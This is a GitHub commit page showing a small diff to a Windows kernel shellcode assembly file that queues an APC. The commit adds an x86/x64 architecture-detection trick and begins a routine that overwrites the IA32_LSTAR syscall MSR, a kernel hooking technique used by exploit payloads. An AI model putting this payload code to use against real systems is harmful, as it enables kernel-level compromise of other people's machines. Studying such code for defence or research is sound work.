Skip to content

Commit 4f3a98d

Browse files
author
zerosum0x0
committed
add arch detection to shellcode
1 parent a5c391d commit 4f3a98d

File tree

1 file changed

+12
-2
lines changed

1 file changed

+12
-2
lines changed

external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -74,9 +74,19 @@ ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC
7474
; now the shellcode begins
7575
payload_start:
7676

77-
%ifdef SYSCALL_OVERWRITE
78-
syscall_overwrite:
77+
xor ecx, ecx
78+
db 0x41 ; x86 inc ecx, x64 = rex prefix
79+
loop x64_payload_start ; dec, jnz. i.e. in x64 we will now jmp
80+
81+
%ifdef USE_X86
82+
%else
83+
ret
84+
%end
85+
86+
x64_payload_start:
87+
BITS 64
7988

89+
%ifdef SYSCALL_OVERWRITE
8090
x64_syscall_overwrite:
8191
mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR
8292
rdmsr

0 commit comments

Comments
 (0)